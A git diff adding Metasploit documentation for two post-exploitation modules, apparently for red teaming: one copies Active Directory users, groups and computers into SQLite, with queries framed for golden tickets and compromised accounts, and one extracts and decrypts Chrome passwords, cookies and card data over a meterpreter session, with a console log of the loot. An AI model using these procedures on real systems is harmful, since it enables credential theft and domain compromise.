b/documentation/modules/post/windows/gather/ad_to_sqlite.md @@ -0,0 +1,521 @@ +This is a post exploitation module which has the effect of copying the AD groups, user membership +(taking into account nested groups), user information and computers to a local SQLite database. +This is particularly useful for red teaming and simulated attack engagements because it offers +the ability to gain situational awareness of the target's domain completely offline. Examples of +queries that can be run locally include: + +* Identification of members in a particular group (e.g. 'Domain Admins'), taking into account + members of nested groups. +* Organizational hierarchy information (if the manager LDAP attribute is used). +* Ability to determine group membership and user membership (e.g. 'What groups are these users a + member of?', 'What users are members of these groups?', 'List all members who are effectively + members of the Domain Admins group who are not disabled' etc) +* Expansion of the userAccountControl and sAMAccountType variables for querying ease. +* Generation of a list of DNS hostnames, computer names, operating system versions etc of each + domain joined computer. +* Identification of security groups that have managers. +* Exporting anything above in different formats, including those which can be imported into + other tools. + +## Mechanism + +This module makes heavy usage of ADSI and performs the following basic steps: + +**User and group acquisition** + +* Perform an ADSI query to list all active directory groups and store them in the local ad_groups + table (parsing attributes which contain flags). +* Loop through them and, for each group, launch another LDAP query to list the effective members of + the group (using the LDAP_MATCHING_RULE_IN_CHAIN OID). The effect is that it will reveal all + effective members of that group, even if they are not direct members of the group. +* For each user, perform another query to obtain user specific attributes and insert them into the + local ad_users table. +* Insert a new row into the ad_mapping table associating the user RID with the group RID. + +**Computer acquisition** + +* Perform an ADSI query to list all computers in the domain. +* Parse any attributes containing flags (userAccountControl, sAMAccountType) and insert them into + the local ad_computers table. + +## Module Specific Options + +Option | Purpose +--------------- | -------- +GROUP_FILTER | Additional LDAP filters to apply when building the initial list of groups. +SHOW_COMPUTERS | If set to TRUE, this will write a line-by-line list of computers, in the format: ```Computer [Name][DNS][RID]``` to the console. For example: ```Computer [W2K8DC][W2K8DC.goat.stu][1000]``` +SHOW_USERGROUPS | If set to TRUE, this will write a line-by-line list of user to group memberships, in the format: ```Group [Group Name][Group RID] has member [Username][User RID]```. For example: ```Group [Domain Users][513] has member [it.director][1132]```. This can be used mainly for progress, but it may be simpler to cat and grep for basic queries. However, the real power of this module comes from the ability to rapidly perform queries against the SQLite database. + +## SQLite Database + +**Construction** + +The following tables will be present in the local SQLite database. The ad_* tables use the RID of +the user, computer or group as the primary key, and the view_mapping table effectively joins the +ad_mapping table with ad_users.* and ad_groups.* by RID. + +Note that the purpose of the less obvious flags is documented in the source code, along with +references to MSDN and Technet where appropriate, so this can be easily looked up during an +engagement without needing to refer to this page. + +Table Name | Purpose +------------ | -------- +ad_computers | Information on each of the domain joined computers. +ad_users | Information on each of the domain users. +ad_groups | Information on each of the active directory groups. +ad_mapping | Links the users table to the groups table (i.e. can be used to show which users are effectively members of which groups). +view_mapping | Joins the ad_mapping table to the ad_users and ad_groups table, provided for convenience. This will be the table that most queries will be run against. + +Within each table, the naming convention for the columns is to prefix anything in the +ad_computers table with c_, anything in the ad_users table with u_ and anything in the +ad_groups table with g_. This convention makes the joins between tables much more intuitive. + +**ad_computers** + +The table below shows the columns in the ad_computers table. The fields in capitals at the end +(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to +provide an easy way to perform the queries against individual flags. + +Column Name | Type | Purpose +------------------------------------------------ | ------- | -------- +c_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits). +c_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx). +c_cn | TEXT | The name that represents an object. Used to perform searches. +c_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency. +c_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system. +c_dNSHostName | TEXT | The name of computer, as registered in DNS. +c_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name. +c_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown. +c_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [Use-Account-Control attribute](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below. +c_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group. +c_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown. +c_description | TEXT | Contains the description to display for an object. +c_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here. +c_operatingSystem | TEXT | The Operating System name, for example, Windows Vista Enterprise. +c_operatingSystemServicePack | TEXT | The operating system service pack ID string (for example, SP3). +c_operatingSystemVersion | TEXT | The operating system version string, for example, 4.0. +c_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog. +c_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog. +c_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed. +c_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled. +c_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required. +c_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out. +c_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required. +c_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password. +c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password. +c_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account. +c_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user. +c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains. +c_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain. +c_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain. +c_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire. +c_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account. +c_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card. +c_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service. +c_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation. +c_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys. +c_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon. +c_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy. +c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network. +c_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx) attribute. If 1, this flag is set. +c_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute). +c_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute). + +**ad_users** + +The table below shows the columns in the ad_computers table. The fields in capitals at the end +(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to +provide an easy way to perform the queries against individual flags. + +Column Name | Type | Purpose +------------------------------------------------| ------- | ------- +u_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits). +u_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx). +u_cn | TEXT | The name that represents an object. Used to perform searches. +u_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency. +u_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system. +u_dNSHostName | TEXT | The name of computer, as registered in DNS. +u_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name. +u_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown. +u_userPrincipalName | TEXT | Technically, this is an Internet-style login name for a user based on the Internet standard RFC 822. By convention and in practice, it is the user's e-mail address. +u_displayName | TEXT | N/A +u_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively). +u_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [User-Account-Control](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below. +u_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group. +u_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown. +u_description | TEXT | Contains the description to display for an object. +u_title | TEXT | Contains the user's job title. This property is commonly used to indicate the formal job title, such as Senior Programmer, rather than occupational class. +u_manager | TEXT | The distinguished name of this user's manager. +u_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here. +u_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog. +u_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog. +u_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed. +u_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled. +u_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required. +u_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out. +u_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required. +u_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password. +u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password. +u_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account. +u_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user. +u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains. +u_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain. +u_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain. +u_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire. +u_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account. +u_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card. +u_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service. +u_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation. +u_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys. +u_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon. +u_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy. +u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network. +u_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set. +u_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute). +u_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute). + +**ad_groups** + +The table below shows the columns in the ad_groups table. + +Column Name | Type | Purpose +--------------------------------| ------- | ------- +g_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits). +g_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx). +g_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency. +g_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system. +g_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively). +g_description | TEXT | Contains the description to display for an object. +g_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here. +g_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog. +g_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog. +g_managedby | TEXT | The manager of this group. +g_cn | TEXT | The common name of the group. +g_groupType | INTEGER | Contains a set of flags that define the type and scope of a group object. These are expanded in the g_GT_* fields below. +g_GT_GROUP_CREATED_BY_SYSTEM | INTEGER | If 1, this is a group that is created by the system. +g_GT_GROUP_SCOPE_GLOBAL | INTEGER | If 1, this is a group with global scope. +g_GT_GROUP_SCOPE_LOCAL | INTEGER | If 1, this is a group with domain local scope. +g_GT_GROUP_SCOPE_UNIVERSAL | INTEGER | If 1, this is a group with universal scope. +g_GT_GROUP_SAM_APP_BASIC | INTEGER | If 1, this specifies an APP_BASIC group for Windows Server Authorisation Manager. +g_GT_GROUP_SAM_APP_QUERY | INTEGER | If 1, this specifies an APP_QUERY group for Windows Server Authorisation Manager. +g_GT_GROUP_SECURITY | INTEGER | If 1, this specifies a security group. +g_GT_GROUP_DISTRIBUTION | INTEGER | If 1, this specifies a distribution group (this is the inverse of g_GT_GROUP_SECURITY). I have included it so that distribution groups can be identified more easily (query readability). +g_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set. +g_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute). +g_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute). + +**ad_mapping** + +The table below shows the columns in the ad_mapping table. This is used to link users to groups. + +Column Name | Type | Purpose +------------| ------- | ------- +user_rid | INTEGER | The RID of a user +group_rid | INTEGER | The RID of a group + +For example, if a particular record had a user_rid of 1000 and a group_rid of 1001, this would +imply that the user whose RID is 1000 is a member of the group whose RID is 1001. Use the +view_mapping view in order to do any meaningful queries, but its content is derived from this one. + +**view_mapping** + +This table is a combination of ad_groups.* and ad_users.*. Therefore, the fields are the +combination of the u_* and the g_* fields shown above. + +## Database Structure + +There are a few design choices that I have deliberately made which I have given an explanation for +below. This is because the reasons for them may not be obvious. + +The users, groups and computers are based on the same class, so the "proper" way to do this would +be to place them all into one table and then restrict results based on sAMAccountType to determine +what type of object it is. In addition, the userAccountControl and sAMAccountType and groupType +attributes have been split out into individual columns which is, from a technical point of view, +unnecessary duplication. + +The reason for this is ease of use; we are much more intuitively familiar with users, groups and +computers being different objects (even if they are all really the same thing), and it is much +easier to understand and formulate a query such as: + +``` +SELECT u_sAMAccountName from ad_users where u_ADS_UF_LOCKOUT = 0 and u_SAM_NORMAL_USER_ACCOUNT = 1 +``` + +than: + +``` +SELECT u_sAMAccountName from ad_users where ((u_userAccountControl&0x00000010) = 0) and ((u_sAMAccountType&0x30000000) > 0) +``` + +This is also true of the sAMAccountType value; this is a code which has a 1:1 mapping with MSDN +constants (i.e. they are not flags) and it would be more efficient to implement a simple lookup table. +However, for consistency, I have implemented the columns for the possible values in the same way as +the attributes which comprise multiple values in the form of flags. + +This database is designed for quick-and-dirty queries, not to be an efficient AD database, and the +benefits of the ease of access significantly outweighs the slight performance impact. + +## Conversion to Unicode + +All of the strings injected into the database have been converted to UTF-8 (encode('UTF-8')) which, +at first glance, does not seem necessary. The reason is documented [here](https://github.com/rails/rails/issues/1965); +namely that SQLite stores Unicode strings as 'text' but non-converted strings as 'blobs' regardless +of the type affinity. Omitting the unicode conversion meant that most of the text queries did not +work properly because the database was treating the text fields as raw binary data. + +## Multi valued attributes + +With the exception of the memberOf attribute, it is assumed that other attributes are single +valued, which may result in a small about of information being missed. For example, the +description attribute can (in some circumstances) be multi-valued but the ADSI queries will only +return the first value. + +This will not make any practical difference for the vast majority of enterprise domains. + +## Database Queries + +Sqlite3 supports a number of output formats (use .mode for all options). These can be used to +easily present the searched data. + +For example, line mode is useful to see all fields in an easy to view form. The example query +searches for all information about the user whose username is 'unprivileged.user' + +``` +sqlite> .mode line +sqlite> select * from ad_users where u_sAMAccountName = "unprivileged.user"; + u_rid = 1127 + u_distinguishedName = CN=Unprivileged User,CN=Users,DC=goat,DC=stu + u_description = Do not delete. Default pass set to password123 + u_displayName = Unprivileged User + u_sAMAccountType = 805306368 + u_sAMAccountName = unprivileged.user + u_logonCount = 1 + u_userAccountControl = 512 + u_primaryGroupID = 513 + u_cn = Unprivileged User + u_adminCount = 1 + u_badPwdCount = 0 + u_userPrincipalName = unprivileged.user@goat.stu + u_comment = + u_title = + u_manager = CN=Stuart Morgan - User,CN=Users,DC=goat,DC=stu + u_whenCreated = 2015-12-20 20:10:54.000 + u_whenChanged = 2015-12-20 23:12:48.000 + u_ADS_UF_SCRIPT = 0 + u_ADS_UF_ACCOUNTDISABLE = 0 + u_ADS_UF_HOMEDIR_REQUIRED = 0 + u_ADS_UF_LOCKOUT = 0 + u_ADS_UF_PASSWD_NOTREQD = 0 + u_ADS_UF_PASSWD_CANT_CHANGE = 0 + u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0 + u_ADS_UF_TEMP_DUPLICATE_ACCOUNT = 0 + u_ADS_UF_NORMAL_ACCOUNT = 1 + u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT = 0 + u_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 0 + u_ADS_UF_SERVER_TRUST_ACCOUNT = 0 + u_ADS_UF_DONT_EXPIRE_PASSWD = 0 + u_ADS_UF_MNS_LOGON_ACCOUNT = 0 + u_ADS_UF_SMARTCARD_REQUIRED = 0 + u_ADS_UF_TRUSTED_FOR_DELEGATION = 0 + u_ADS_UF_NOT_DELEGATED = 0 + u_ADS_UF_USE_DES_KEY_ONLY = 0 + u_ADS_UF_DONT_REQUIRE_PREAUTH = 0 + u_ADS_UF_PASSWORD_EXPIRED = 0 +u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0 + u_SAM_DOMAIN_OBJECT = 0 + u_SAM_GROUP_OBJECT = 0 + u_SAM_NON_SECURITY_GROUP_OBJECT = 0 + u_SAM_ALIAS_OBJECT = 0 + u_SAM_NON_SECURITY_ALIAS_OBJECT = 0 + u_SAM_NORMAL_USER_ACCOUNT = 1 + u_SAM_MACHINE_ACCOUNT = 0 + u_SAM_TRUST_ACCOUNT = 0 + u_SAM_APP_BASIC_GROUP = 0 + u_SAM_APP_QUERY_GROUP = 0 + u_SAM_ACCOUNT_TYPE_MAX = 0 +``` + +SQLite can generate output in HTML format with headers. For example, the query below displays the +username, email address and number of times that the user has logged on for all users who have a +manager with the word 'Stuart' somewhere in the DN. + +``` +sqlite> .mode html +sqlite> .headers on +sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%'; +u_sAMAccountName +u_userPrincipalName +u_logonCount + +unprivileged.user +unprivileged.user@goat.stu +1 + +sqlite> +``` + +The same query can be used in INSERT mode, in which the results will be displayed as a series of +SQL insert statements for importing into another database: + +``` +sqlite> .mode insert +sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%'; +INSERT INTO table(u_sAMAccountName,u_userPrincipalName,u_logonCount) VALUES('unprivileged.user','unprivileged.user@goat.stu',1); +``` + +The default mode (list) will display the results with a pipe character separating the fields: + +``` +sqlite> .mode list +sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%'; +u_sAMAccountName u_userPrincipalName u_logonCount +unprivileged.user unprivileged.user@goat.stu 1 +``` + +There are a number of other ways that this information could be presented; please play with SQLite +in order to learn how to use them. + +## Example Queries + +A number of example queries are shown below, in order to give an idea of how easy it is to build up +complex queries. + +Search for all users who have a title, description or comment and display this information along +with their username: + +``` +select u_sAMAccountName,u_title,u_description,u_comment from ad_users where (u_title != "" or u_description != "" or u_comment != ""); +``` + +Display all stored fields for all users whose accounts are not disabled, have a password that does +not expire, have a name starting with 'Frank' and have logged on more than once. + +``` +select * from ad_users where u_ADS_UF_ACCOUNTDISABLE=0 and u_ADS_UF_DONT_EXPIRE_PASSWD=1 and u_cn LIKE 'Frank%' and u_logonCount>1; +``` + +Get the list of group RIDs that have a name which do not have the word 'admin' in them somewhere +(perhaps useful to construct a golden ticket with access to pretty much all groups except anything +with 'admin' in it), might be useful to evade a very basic form of monitoring perhaps? + +``` +select DISTINCT g_rid from ad_groups where g_sAMAccountName NOT LIKE '%admin%'; +``` + +Search for all users who are members of the 'Domain Admins' group and display their username. +Note that this will include those in nested groups. + +``` +select u_sAMAccountName from view_mapping where g_sAMAccountName = 'Domain Admins'; +``` + +Show the groups that the user 'stufus' is a member of and write the output to /tmp/groups.txt +(e.g. for usage in a different tool): + +``` +.once /tmp/groups.txt +select g_sAMAccountName from view_mapping where u_sAMAccountName = 'stufus'; +``` + +Imagine you have compromised passwords or accounts for user1, user2, user3 and user4. Show the AD +groups which, between them all, you have access to. + +``` +select DISTINCT g_sAMAccountName from view_mapping where u_sAMAccountName IN ('user1','user2','user3','user4'); +``` + +Retrieve the list of group names common to both 'user1' and 'user2' and display the group RID, +group name and group description. This could be useful if you were aware that both these users +are in a group that has access to a very specific resource but are in a large number of separate +other groups. + +``` +select v1.g_rid,v1.g_sAMAccountName,v1.g_description FROM view_mapping v1 INNER JOIN view_mapping v2 ON v1.g_rid = v2.g_rid where v1.u_sAMAccountName = 'user1' and v2.u_sAMAccountName = 'user2'; +``` + +Show the name, DNS hostname and OS information for each of the computers in the domain: + +``` +select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers; +``` + +Display the same columns as above but only show machines in the 'Domain Controllers' OU (you can't +normally search by DN because it isn't a "real" attribute when querying through LDAP, but as it is +a normal text field in the database, you can use regular expressions and normal string matching): + +``` +select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers where c_distinguishedName LIKE '%OU=Domain Controllers%'; +``` + +Show all fields for computers that have the c_ADS_UF_WORKSTATION_TRUST_ACCOUNT set to 1 (which +seems to be everything except domain controllers) on my test system: + +``` +select * from ad_computers where c_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 1; +``` + +Show all fields for computers whose operating system is Windows XP, Windows 2000 or Windows 2003 +(note that you need regular expression support in SQLite): + +``` +select * from ad_computers where c_operatingSystem REGEXP '(XP|200[03])'; +``` + +...and if you don't have regular expression support: + +``` +select * from ad_computers where c_operatingSystem LIKE '%XP%' OR c_operatingSystem LIKE '%2000%' OR c_operatingSystem LIKE '%2003%'; +``` + +Search for all members of all groups who are (amongst other things) members of any group managed +by anyone whose CN starts with 'Unprivileged User' and return their username only: + +``` +select DISTINCT u_sAMAccountName from view_mapping where g_rid IN (select g_rid from view_mapping where g_managedBy LIKE 'CN=Unprivileged User%'); +``` + +## Scenarios + +**Group Policy Objects** + +This cannot be used to gain a complete understanding of effective permissions because it does not +analyze group policy objects. For example, a group policy may add inconspicuous groups to +privileged groups and privileged groups, such as Domain Admins, may be removed from local +administrator groups due to GPP. Therefore, this will give a reliable overview of the effective +'static' permissions but cannot be completely relied on for overall effective permissions. + +**Domain Controller interaction** + +The acquisition of domain information does involve repeated queries against the domain controllers. +However, all interaction with AD uses native functionality and has not been noted to cause +performance problems when tested. This was recently tested on a live engagement on a domain that +has just under 11,000 groups and a similar number of users. Admittedly it took about an hour to +pull down everything (as opposed to the 1 minute to replicate the LDAP database) but the final +database size was 19,255,296 bytes, so perfectly manageable. diff --git a/documentation/modules/post/windows/gather/enum_chrome.md b/documentation/modules/post/windows/gather/enum_chrome.md new file mode 100644 index 0000000000..81966026b9 --- /dev/null +++ b/documentation/modules/post/windows/gather/enum_chrome.md @@ -0,0 +1,89 @@ +## Vulnerable Application + + This post-exploitation module will extract saved user data from Google Chrome and attempt to decrypt sensitive information. + Chrome encrypts sensitive data (passwords and credit card information) which can only be decrypted with the **same** logon credentials. This module tries to decrypt the sensitive data as the current user unless told otherwise via the MIGRATE setting. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get meterpreter session + 3. Do: `use post/windows/gather/enum_chrome` + 4. Do: `set SESSION ` + 5. Do: `run` + 6. You should be able to see the extracted chrome browser data in the loot files in JSON format + +## Options + + - **MIGRATE** - Migrate automatically to explorer.exe. This is useful if you're having SYSTEM privileges, because the process on the target system running meterpreter needs to be owned by the user the data belongs to. If activated the migration is done using the metasploit `post/windows/manage/migrate` module. The default value is false. + + - **SESSION** - The session to run the module on. + +## Extracted data + + - Web data: + - General autofill data + - Chrome users + - Credit card data + - Cookies + - History + - URL history + - Download history + - Search term history + - Login data (username/password) + - Bookmarks + - Preferences + +## Scenarios + + **Meterpreter session as normal user** + + ``` + [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200 + + msf exploit(handler) > use post/windows/gather/enum_chrome + msf post(enum_chrome) > set SESSION 1 + SESSION => 1 + msf post(enum_chrome) > run + + [*] Impersonating token: 3156 + [*] Running as user 'user-PC\user'... + [*] Extracting data for user 'user'... + [*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt' + [*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt' + [*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt' + [*] Downloaded Login Data to 